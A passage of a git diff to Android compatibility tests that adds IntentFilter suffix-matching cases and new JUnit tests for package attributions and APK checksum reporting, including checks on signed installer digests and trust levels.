         for (int i = 0; i < results.length; i++) {
             MatchCondition mc = results[i];
@@ -1522,6 +1594,24 @@
                 MatchCondition.data(
                         IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/literal12"));
         filter = new Match(null, null, null,
+                new String[]{"scheme"}, new String[]{"authority"}, null,
+                new String[]{"literal1", "2literal"}, new int[]{PATTERN_SUFFIX, PATTERN_SUFFIX});
+        checkMatches(filter,
+                MatchCondition.data(
+                        IntentFilter.NO_MATCH_DATA, null),
+                MatchCondition.data(
+                        IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/aliteral1"),
+                MatchCondition.data(
+                        IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/2literal"),
+                MatchCondition.data(
+                        IntentFilter.NO_MATCH_DATA, "scheme://authority/literal"),
+                MatchCondition.data(
+                        IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/literal1"),
+                MatchCondition.data(
+                        IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/2literal1"),
+                MatchCondition.data(
+                        IntentFilter.NO_MATCH_DATA, "scheme://authority/literal1a"));
+        filter = new Match(null, null, null,
                 new String[]{"scheme"}, new String[]{"authority"}, null, new String[]{"/.*"},
                 new int[]{PATTERN_SIMPLE_GLOB});
         checkMatches(filter,
diff --git a/tests/tests/content/src/android/content/pm/cts/AttributionTest.java b/tests/tests/content/src/android/content/pm/cts/AttributionTest.java
new file mode 100644
index 0000000..c1354f7
--- /dev/null
+++ b/tests/tests/content/src/android/content/pm/cts/AttributionTest.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test {@link Attribution}.
+ */
+@AppModeFull // TODO(Instant) Figure out which APIs should work.
+@RunWith(AndroidJUnit4.class)
+public class AttributionTest {
+
+    private static final String PACKAGE_NAME = "android.content.cts";
+    private static final String[] TAGS =
+            new String[] { "attribution_tag_one", "attribution_tag_two" };
+    private static final String[] LABELS =
+            new String[] { "attribution label one", "attribution label two" };
+    private static final boolean[] SHOULD_SHOW = new boolean[] { false, true };
+    private static final int NUM_ATTRIBUTIONS = 2;
+
+    private static Context sContext = InstrumentationRegistry.getInstrumentation().getContext();
+
+    @Test
+    public void dontGetAttributions() throws Exception {
+        PackageInfo packageInfo = sContext.getPackageManager().getPackageInfo(PACKAGE_NAME, 0);
+        assertNotNull(packageInfo);
+        assertNull(packageInfo.attributions);
+    }
+
+    @Test
+    public void getAttributionsAndVerify() throws Exception {
+        PackageInfo packageInfo = sContext.getPackageManager().getPackageInfo(PACKAGE_NAME,
+                PackageManager.GET_ATTRIBUTIONS);
+        assertNotNull(packageInfo);
+        assertNotNull(packageInfo.attributions);
+        assertEquals(packageInfo.attributions.length, NUM_ATTRIBUTIONS);
+        for (int i = 0; i < NUM_ATTRIBUTIONS; i++) {
+            assertEquals(packageInfo.attributions[i].getTag(), TAGS[i]);
+            assertEquals(sContext.getString(packageInfo.attributions[i].getLabel()), LABELS[i]);
+        }
+    }
+}
diff --git a/tests/tests/content/src/android/content/pm/cts/ChecksumsTest.java b/tests/tests/content/src/android/content/pm/cts/ChecksumsTest.java
new file mode 100644
index 0000000..62e9217
--- /dev/null
+++ b/tests/tests/content/src/android/content/pm/cts/ChecksumsTest.java
@@ -0,0 +1,1437 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts;
+
+import static android.content.pm.Checksum.TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256;
+import static android.content.pm.Checksum.TYPE_PARTIAL_MERKLE_ROOT_1M_SHA512;
+import static android.content.pm.Checksum.TYPE_WHOLE_MD5;
+import static android.content.pm.Checksum.TYPE_WHOLE_MERKLE_ROOT_4K_SHA256;
+import static android.content.pm.Checksum.TYPE_WHOLE_SHA1;
+import static android.content.pm.Checksum.TYPE_WHOLE_SHA256;
+import static android.content.pm.Checksum.TYPE_WHOLE_SHA512;
+import static android.content.pm.PackageInstaller.LOCATION_DATA_APP;
+import static android.content.pm.PackageManager.GET_SIGNING_CERTIFICATES;
+import static android.content.pm.PackageManager.TRUST_ALL;
+import static android.content.pm.PackageManager.TRUST_NONE;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.testng.Assert.assertEquals;
+import static org.testng.Assert.assertNotNull;
+
+import android.app.UiAutomation;
+import android.content.ComponentName;
+import android.content.IIntentReceiver;
+import android.content.IIntentSender;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.content.pm.ApkChecksum;
+import android.content.pm.Checksum;
+import android.content.pm.DataLoaderParams;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageInstaller.Session;
+import android.content.pm.PackageInstaller.SessionParams;
+import android.content.pm.PackageManager;
+import android.content.pm.Signature;
+import android.content.pm.cts.util.AbandonAllPackageSessionsRule;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+import android.util.ExceptionUtils;
+
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.internal.util.HexDump;
+import com.android.server.pm.ApkChecksums;
+import com.android.server.pm.PackageManagerShellCommandDataLoader;
+import com.android.server.pm.PackageManagerShellCommandDataLoader.Metadata;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.EOFException;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateException;
+import java.security.cert.CertificateFactory;
+import java.security.cert.X509Certificate;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Objects;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.Nonnull;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull
+public class ChecksumsTest {
+    private static final String CTS_PACKAGE_NAME = "android.content.cts";
+    private static final String V2V3_PACKAGE_NAME = "android.content.cts";
+    private static final String V4_PACKAGE_NAME = "com.example.helloworld";
+    private static final String FIXED_PACKAGE_NAME = "android.appsecurity.cts.tinyapp";
+
+    private static final String TEST_APK_PATH = "/data/local/tmp/cts/content/";
+
+    private static final String TEST_V4_APK = "HelloWorld5.apk";
+    private static final String TEST_V4_SPLIT0 = "HelloWorld5_hdpi-v4.apk";
+    private static final String TEST_V4_SPLIT1 = "HelloWorld5_mdpi-v4.apk";
+    private static final String TEST_V4_SPLIT2 = "HelloWorld5_xhdpi-v4.apk";
+    private static final String TEST_V4_SPLIT3 = "HelloWorld5_xxhdpi-v4.apk";
+    private static final String TEST_V4_SPLIT4 = "HelloWorld5_xxxhdpi-v4.apk";
+
+    private static final String TEST_FIXED_APK = "CtsPkgInstallTinyAppV2V3V4.apk";
+    private static final String TEST_FIXED_APK_DIGESTS_FILE =
+            "CtsPkgInstallTinyAppV2V3V4.digests";
+    private static final String TEST_FIXED_APK_DIGESTS_SIGNATURE =
+            "CtsPkgInstallTinyAppV2V3V4.digests.signature";
+    private static final String TEST_CERTIFICATE = "test-cert.x509.pem";
+    private static final String TEST_FIXED_APK_V1 = "CtsPkgInstallTinyAppV1.apk";
+    private static final String TEST_FIXED_APK_SHA512 =
+            "CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk";
+    private static final String TEST_FIXED_APK_VERITY = "CtsPkgInstallTinyAppV2V3V4-Verity.apk";
+
+    private static final String TEST_FIXED_APK_V2_SHA256 =
+            "1eec9e86e322b8d7e48e255fc3f2df2dbc91036e63982ff9850597c6a37bbeb3";
+    private static final String TEST_FIXED_APK_SHA256 =
+            "91aa30c1ce8d0474052f71cb8210691d41f534989c5521e27e794ec4f754c5ef";
+    private static final String TEST_FIXED_APK_MD5 = "c19868da017dc01467169f8ea7c5bc57";
+    private static final Checksum[] TEST_FIXED_APK_DIGESTS = new Checksum[]{
+            new Checksum(TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256,
+                    hexStringToBytes(TEST_FIXED_APK_V2_SHA256)),
+            new Checksum(TYPE_WHOLE_SHA256, hexStringToBytes(TEST_FIXED_APK_SHA256)),
+            new Checksum(TYPE_WHOLE_MD5, hexStringToBytes(TEST_FIXED_APK_MD5))};
+    private static final Checksum[] TEST_FIXED_APK_WRONG_DIGESTS = new Checksum[]{
+            new Checksum(TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256, hexStringToBytes("850597c6a37bbeb3")),
+            new Checksum(TYPE_WHOLE_SHA256, hexStringToBytes(TEST_FIXED_APK_SHA256)),
+            new Checksum(TYPE_WHOLE_MD5, hexStringToBytes(TEST_FIXED_APK_MD5))};
+
+
+    private static final byte[] NO_SIGNATURE = null;
+
+    private static final int ALL_CHECKSUMS =
+            TYPE_WHOLE_MERKLE_ROOT_4K_SHA256 | TYPE_WHOLE_MD5 | TYPE_WHOLE_SHA1 | TYPE_WHOLE_SHA256
+                    | TYPE_WHOLE_SHA512
+                    | TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256 | TYPE_PARTIAL_MERKLE_ROOT_1M_SHA512;
+
+    private static UiAutomation getUiAutomation() {
+        return InstrumentationRegistry.getInstrumentation().getUiAutomation();
+    }
+
+    private static PackageManager getPackageManager() {
+        return InstrumentationRegistry.getContext().getPackageManager();
+    }
+
+    private static PackageInstaller getPackageInstaller() {
+        return getPackageManager().getPackageInstaller();
+    }
+
+    @Rule
+    public AbandonAllPackageSessionsRule mAbandonSessionsRule = new AbandonAllPackageSessionsRule();
+
+    @Before
+    public void onBefore() throws Exception {
+        uninstallPackageSilently(V4_PACKAGE_NAME);
+        assertFalse(isAppInstalled(V4_PACKAGE_NAME));
+        uninstallPackageSilently(FIXED_PACKAGE_NAME);
+        assertFalse(isAppInstalled(FIXED_PACKAGE_NAME));
+    }
+
+    @After
+    public void onAfter() throws Exception {
+        uninstallPackageSilently(V4_PACKAGE_NAME);
+        assertFalse(isAppInstalled(V4_PACKAGE_NAME));
+        uninstallPackageSilently(FIXED_PACKAGE_NAME);
+        assertFalse(isAppInstalled(FIXED_PACKAGE_NAME));
+    }
+
+    @Test
+    public void testReadWriteChecksums() throws Exception {
+        // Read checksums from file and confirm they are the same as hardcoded.
+        checkStoredChecksums(TEST_FIXED_APK_DIGESTS, TEST_FIXED_APK_DIGESTS_FILE);
+
+        // Write checksums and confirm that the file stays the same.
+        try (ByteArrayOutputStream os = new ByteArrayOutputStream();
+             DataOutputStream dos = new DataOutputStream(os)) {
+            for (Checksum checksum : TEST_FIXED_APK_DIGESTS) {
+                Checksum.writeToStream(dos, checksum);
+            }
+            final byte[] fileBytes = Files.readAllBytes(
+                    Paths.get(createApkPath(TEST_FIXED_APK_DIGESTS_FILE)));
+            final byte[] localBytes = os.toByteArray();
+            Assert.assertArrayEquals(fileBytes, localBytes);
+        }
+    }
+
+    @Test
+    public void testDefaultChecksums() throws Exception {
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(V2V3_PACKAGE_NAME, true, 0, TRUST_NONE, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 1);
+        assertEquals(checksums[0].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+    }
+
+    @Test
+    public void testSplitsDefaultChecksums() throws Exception {
+        installSplits(new String[]{TEST_V4_APK, TEST_V4_SPLIT0, TEST_V4_SPLIT1, TEST_V4_SPLIT2,
+                TEST_V4_SPLIT3, TEST_V4_SPLIT4});
+        assertTrue(isAppInstalled(V4_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(V4_PACKAGE_NAME, true, 0, TRUST_NONE, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 6);
+        // v2/v3 signature use 1M merkle tree.
+        assertEquals(checksums[0].getSplitName(), null);
+        assertEquals(checksums[0].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(checksums[1].getSplitName(), "config.hdpi");
+        assertEquals(checksums[1].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(checksums[2].getSplitName(), "config.mdpi");
+        assertEquals(checksums[2].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(checksums[3].getSplitName(), "config.xhdpi");
+        assertEquals(checksums[3].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(checksums[4].getSplitName(), "config.xxhdpi");
+        assertEquals(checksums[4].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(checksums[5].getSplitName(), "config.xxxhdpi");
+        assertEquals(checksums[5].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+    }
+
+    @Test
+    public void testFixedDefaultChecksums() throws Exception {
+        installPackage(TEST_FIXED_APK);
+        assertTrue(isAppInstalled(FIXED_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_NONE, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 1);
+        // v2/v3 signature use 1M merkle tree.
+        assertEquals(checksums[0].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[0].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertNull(checksums[0].getInstallerCertificate());
+    }
+
+    @Test
+    public void testFixedV1DefaultChecksums() throws Exception {
+        installPackage(TEST_FIXED_APK_V1);
+        assertTrue(isAppInstalled(FIXED_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_NONE, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 0);
+    }
+
+    @Test
+    public void testFixedSha512DefaultChecksums() throws Exception {
+        installPackage(TEST_FIXED_APK_SHA512);
+        assertTrue(isAppInstalled(FIXED_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_NONE, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 1);
+        // v2/v3 signature use 1M merkle tree.
+        assertEquals(checksums[0].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA512);
+        assertEquals(bytesToHexString(checksums[0].getValue()),
+                "6b866e8a54a3e358dfc20007960fb96123845f6c6d6c45f5fddf88150d71677f"
+                        + "4c3081a58921c88651f7376118aca312cf764b391cdfb8a18c6710f9f27916a0");
+        assertNull(checksums[0].getInstallerCertificate());
+    }
+
+    @Test
+    public void testFixedVerityDefaultChecksums() throws Exception {
+        installPackage(TEST_FIXED_APK_VERITY);
+        assertTrue(isAppInstalled(FIXED_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_NONE, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        // No usable hashes as verity-in-v2-signature does not cover the whole file.
+        assertEquals(checksums.length, 0);
+    }
+
+    @LargeTest
+    @Test
+    public void testAllChecksums() throws Exception {
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(V2V3_PACKAGE_NAME, true, ALL_CHECKSUMS, TRUST_NONE,
+                receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 7);
+        assertEquals(checksums[0].getType(), TYPE_WHOLE_MERKLE_ROOT_4K_SHA256);
+        assertEquals(checksums[1].getType(), TYPE_WHOLE_MD5);
+        assertEquals(checksums[2].getType(), TYPE_WHOLE_SHA1);
+        assertEquals(checksums[3].getType(), TYPE_WHOLE_SHA256);
+        assertEquals(checksums[4].getType(), TYPE_WHOLE_SHA512);
+        assertEquals(checksums[5].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(checksums[6].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA512);
+    }
+
+    @LargeTest
+    @Test
+    public void testFixedAllChecksums() throws Exception {
+        installPackage(TEST_FIXED_APK);
+        assertTrue(isAppInstalled(FIXED_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, ALL_CHECKSUMS, TRUST_NONE,
+                receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 7);
+        assertEquals(checksums[0].getType(), TYPE_WHOLE_MERKLE_ROOT_4K_SHA256);
+        assertEquals(bytesToHexString(checksums[0].getValue()),
+                "90553b8d221ab1b900b242a93e4cc659ace3a2ff1d5c62e502488b385854e66a");
+        assertEquals(checksums[1].getType(), TYPE_WHOLE_MD5);
+        assertEquals(bytesToHexString(checksums[1].getValue()), TEST_FIXED_APK_MD5);
+        assertEquals(checksums[2].getType(), TYPE_WHOLE_SHA1);
+        assertEquals(bytesToHexString(checksums[2].getValue()),
+                "331eef6bc57671de28cbd7e32089d047285ade6a");
+        assertEquals(checksums[3].getType(), TYPE_WHOLE_SHA256);
+        assertEquals(bytesToHexString(checksums[3].getValue()), TEST_FIXED_APK_SHA256);
+        assertEquals(checksums[4].getType(), TYPE_WHOLE_SHA512);
+        assertEquals(bytesToHexString(checksums[4].getValue()),
+                "b59467fe578ebc81974ab3aaa1e0d2a76fef3e4ea7212a6f2885cec1af5253571"
+                        + "1e2e94496224cae3eba8dc992144ade321540ebd458ec5b9e6a4cc51170e018");
+        assertEquals(checksums[5].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[5].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertEquals(checksums[6].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA512);
+        assertEquals(bytesToHexString(checksums[6].getValue()),
+                "ef80a8630283f60108e8557c924307d0ccdfb6bbbf2c0176bd49af342f43bc84"
+                        + "5f2888afcb71524196dda0d6dd16a6a3292bb75b431b8ff74fb60d796e882f80");
+    }
+
+    @LargeTest
+    @Test
+    public void testFixedV1AllChecksums() throws Exception {
+        installPackage(TEST_FIXED_APK_V1);
+        assertTrue(isAppInstalled(FIXED_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, ALL_CHECKSUMS, TRUST_NONE,
+                receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 5);
+        assertEquals(checksums[0].getType(), TYPE_WHOLE_MERKLE_ROOT_4K_SHA256);
+        assertEquals(bytesToHexString(checksums[0].getValue()),
+                "1e8f831ef35257ca30d11668520aaafc6da243e853531caabc3b7867986f8886");
+        assertEquals(checksums[1].getType(), TYPE_WHOLE_MD5);
+        assertEquals(bytesToHexString(checksums[1].getValue()), "78e51e8c51e4adc6870cd71389e0f3db");
+        assertEquals(checksums[2].getType(), TYPE_WHOLE_SHA1);
+        assertEquals(bytesToHexString(checksums[2].getValue()),
+                "f6654505f2274fd9bfc098b660cdfdc2e4da6d53");
+        assertEquals(checksums[3].getType(), TYPE_WHOLE_SHA256);
+        assertEquals(bytesToHexString(checksums[3].getValue()),
+                "43755d36ec944494f6275ee92662aca95079b3aa6639f2d35208c5af15adff78");
+        assertEquals(checksums[4].getType(), TYPE_WHOLE_SHA512);
+        assertEquals(bytesToHexString(checksums[4].getValue()),
+                "030fc815a4957c163af2bc6f30dd5b48ac09c94c25a824a514609e1476f91421"
+                        + "e2c8b6baa16ef54014ad6c5b90c37b26b0f5c8aeb01b63a1db2eca133091c8d1");
+    }
+
+    @Test
+    public void testDefaultIncrementalChecksums() throws Exception {
+        if (!checkIncrementalDeliveryFeature()) {
+            return;
+        }
+        installPackageIncrementally(TEST_V4_APK);
+        assertTrue(isAppInstalled(V4_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(V4_PACKAGE_NAME, true, 0, TRUST_NONE, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 1);
+        assertEquals(checksums[0].getType(), TYPE_WHOLE_MERKLE_ROOT_4K_SHA256);
+    }
+
+    @Test
+    public void testFixedDefaultIncrementalChecksums() throws Exception {
+        if (!checkIncrementalDeliveryFeature()) {
+            return;
+        }
+        installPackageIncrementally(TEST_FIXED_APK);
+        assertTrue(isAppInstalled(FIXED_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_NONE, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 1);
+        assertEquals(checksums[0].getType(), TYPE_WHOLE_MERKLE_ROOT_4K_SHA256);
+        assertEquals(bytesToHexString(checksums[0].getValue()),
+                "90553b8d221ab1b900b242a93e4cc659ace3a2ff1d5c62e502488b385854e66a");
+    }
+
+    @LargeTest
+    @Test
+    public void testFixedAllIncrementalChecksums() throws Exception {
+        if (!checkIncrementalDeliveryFeature()) {
+            return;
+        }
+        installPackageIncrementally(TEST_FIXED_APK);
+        assertTrue(isAppInstalled(FIXED_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, ALL_CHECKSUMS, TRUST_NONE,
+                receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 7);
+        assertEquals(checksums[0].getType(), TYPE_WHOLE_MERKLE_ROOT_4K_SHA256);
+        assertEquals(bytesToHexString(checksums[0].getValue()),
+                "90553b8d221ab1b900b242a93e4cc659ace3a2ff1d5c62e502488b385854e66a");
+        assertEquals(checksums[1].getType(), TYPE_WHOLE_MD5);
+        assertEquals(bytesToHexString(checksums[1].getValue()), TEST_FIXED_APK_MD5);
+        assertEquals(checksums[2].getType(), TYPE_WHOLE_SHA1);
+        assertEquals(bytesToHexString(checksums[2].getValue()),
+                "331eef6bc57671de28cbd7e32089d047285ade6a");
+        assertEquals(checksums[3].getType(), TYPE_WHOLE_SHA256);
+        assertEquals(bytesToHexString(checksums[3].getValue()), TEST_FIXED_APK_SHA256);
+        assertEquals(checksums[4].getType(), TYPE_WHOLE_SHA512);
+        assertEquals(bytesToHexString(checksums[4].getValue()),
+                "b59467fe578ebc81974ab3aaa1e0d2a76fef3e4ea7212a6f2885cec1af5253571"
+                        + "1e2e94496224cae3eba8dc992144ade321540ebd458ec5b9e6a4cc51170e018");
+        assertEquals(checksums[5].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[5].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertEquals(checksums[6].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA512);
+        assertEquals(bytesToHexString(checksums[6].getValue()),
+                "ef80a8630283f60108e8557c924307d0ccdfb6bbbf2c0176bd49af342f43bc84"
+                        + "5f2888afcb71524196dda0d6dd16a6a3292bb75b431b8ff74fb60d796e882f80");
+    }
+
+    @Test
+    public void testInstallerChecksumsTrustNone() throws Exception {
+        installApkWithChecksums(TEST_FIXED_APK_DIGESTS);
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_NONE, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 1);
+        assertEquals(checksums[0].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[0].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertNull(checksums[0].getInstallerPackageName());
+        assertNull(checksums[0].getInstallerCertificate());
+    }
+
+    @Test
+    public void testInstallerWrongChecksumsTrustAll() throws Exception {
+        installApkWithChecksums(TEST_FIXED_APK_WRONG_DIGESTS);
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_ALL, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 1);
+        assertEquals(checksums[0].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[0].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertNull(checksums[0].getInstallerPackageName());
+        assertNull(checksums[0].getInstallerCertificate());
+    }
+
+    @Test
+    public void testInstallerSignedChecksumsInvalidSignature() throws Exception {
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            final PackageInstaller installer = getPackageInstaller();
+            final SessionParams params = new SessionParams(SessionParams.MODE_FULL_INSTALL);
+
+            final int sessionId = installer.createSession(params);
+            Session session = installer.openSession(sessionId);
+            writeFileToSession(session, "file", TEST_FIXED_APK);
+            try {
+                session.setChecksums("file", Arrays.asList(TEST_FIXED_APK_DIGESTS),
+                        hexStringToBytes("1eec9e86"));
+                Assert.fail("setChecksums should throw exception.");
+            } catch (IllegalArgumentException e) {
+                // expected
+            }
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+    }
+
+    @Test
+    public void testInstallerSignedChecksumsTrustNone() throws Exception {
+        final byte[] signature = readSignature();
+
+        CommitIntentReceiver.checkSuccess(
+                installApkWithChecksums(TEST_FIXED_APK, "file", "file", TEST_FIXED_APK_DIGESTS,
+                        signature));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_NONE, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 1);
+        assertEquals(checksums[0].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[0].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertNull(checksums[0].getInstallerPackageName());
+        assertNull(checksums[0].getInstallerCertificate());
+    }
+
+    @Test
+    public void testInstallerSignedChecksumsTrustAll() throws Exception {
+        final byte[] signature = readSignature();
+        final Certificate certificate = readCertificate();
+
+        CommitIntentReceiver.checkSuccess(
+                installApkWithChecksums(TEST_FIXED_APK, "file", "file", TEST_FIXED_APK_DIGESTS,
+                        signature));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_ALL, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        // v2/v3+installer provided.
+        assertEquals(checksums.length, 3);
+
+        assertEquals(checksums[0].getType(), TYPE_WHOLE_MD5);
+        assertEquals(bytesToHexString(checksums[0].getValue()), TEST_FIXED_APK_MD5);
+        assertEquals(checksums[0].getSplitName(), null);
+        assertEquals(checksums[0].getInstallerPackageName(), CTS_PACKAGE_NAME);
+        assertEquals(checksums[0].getInstallerCertificate(), certificate);
+        assertEquals(checksums[1].getType(), TYPE_WHOLE_SHA256);
+        assertEquals(bytesToHexString(checksums[1].getValue()), TEST_FIXED_APK_SHA256);
+        assertEquals(checksums[1].getSplitName(), null);
